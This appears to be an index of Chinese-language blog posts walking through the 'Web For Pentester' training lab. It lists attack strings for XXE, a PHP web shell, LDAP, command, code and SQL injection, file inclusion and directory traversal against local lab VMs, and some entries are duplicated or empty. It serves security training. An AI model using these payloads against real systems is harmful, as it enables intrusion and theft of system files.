- 4月 17 週五 201515:03
Web For Pentester II SQL injections Example 1
- 4月 17 週五 201513:31
Web For Pentester II 環境設定

STEP1: 點 VMware Player
STEP2: 點選 create a new virtual machine
- 4月 12 週日 201521:24
Web For Pentester XML attack 例子
Ex1:
檢測字串:
http://192.168.83.132/xml/example1.php? xml=<!DOCTYPE blah [<!ELEMENT foo ANY><!ENTITY bar SYSTEM “file:///etc/passwd” >]><foo>%26bar;</foo>
Ex2:
檢測字串:
http://192.168.83.132/xml/example1.php? xml=<!DOCTYPE blah [<!ELEMENT foo ANY><!ENTITY bar SYSTEM “file:///etc/passwd” >]><foo>%26bar;</foo>
Ex2:
- 4月 12 週日 201521:22
Web For Pentester File Upload例子
Ex1:
上傳一個 .php的文件
<?php
System($_GET[“cmd”]);
?>
檢測字串:
http://192.168.83.132/upload/example1.php? ?page=list_images.php&cmd=ls%20-lah
上傳一個 .php的文件
<?php
System($_GET[“cmd”]);
?>
檢測字串:
http://192.168.83.132/upload/example1.php? ?page=list_images.php&cmd=ls%20-lah
- 4月 12 週日 201521:21
Web For Pentester LDAP attack例子
Ex1:
檢測字串:
http://192.168.83.132/ldap/example1.php?(username=hacker)(|(password=hacker*)))
Ex2:
檢測字串:
http://192.168.83.132/ldap/example1.php?(username=hacker)(|(password=hacker*)))
Ex2:
- 4月 12 週日 201521:16
Web For Pentester Commds injection例子
Ex1:
檢測字串:
http://192.168.83.131/commandexec/example1.php?ip=127.0.0.1;uname=a
Ex2:
檢測字串:
http://192.168.83.131/commandexec/example1.php?ip=127.0.0.1;uname=a
Ex2:
- 4月 12 週日 201521:15
Web For Pentester Code injectionl例子
Ex1:
檢測字串:
name=";system('ls');"
檢測字串:
name=";system('ls');"
- 4月 12 週日 201521:13
Web For Pentester File Include例子
Ex1:
檢測字串:
page=http://google.com
檢測字串:
page=http://google.com
- 4月 12 週日 201521:12
Web For Pentester Directory traversal例子
Ex1:
檢測字串:
http://192.168.83.131/dirtrav/example1.php?file=../../../../../../../../../../../../etc/passwd
Ex2:
檢測字串:
http://192.168.83.131/dirtrav/example1.php?file=../../../../../../../../../../../../etc/passwd
Ex2:
- 4月 12 週日 201521:09
Web For Pentester SQL injections例子
Example 1:
檢測字串:
name=root'or'1'='1
Example 2:
檢測字串:
name=root'or'1'='1
Example 2:

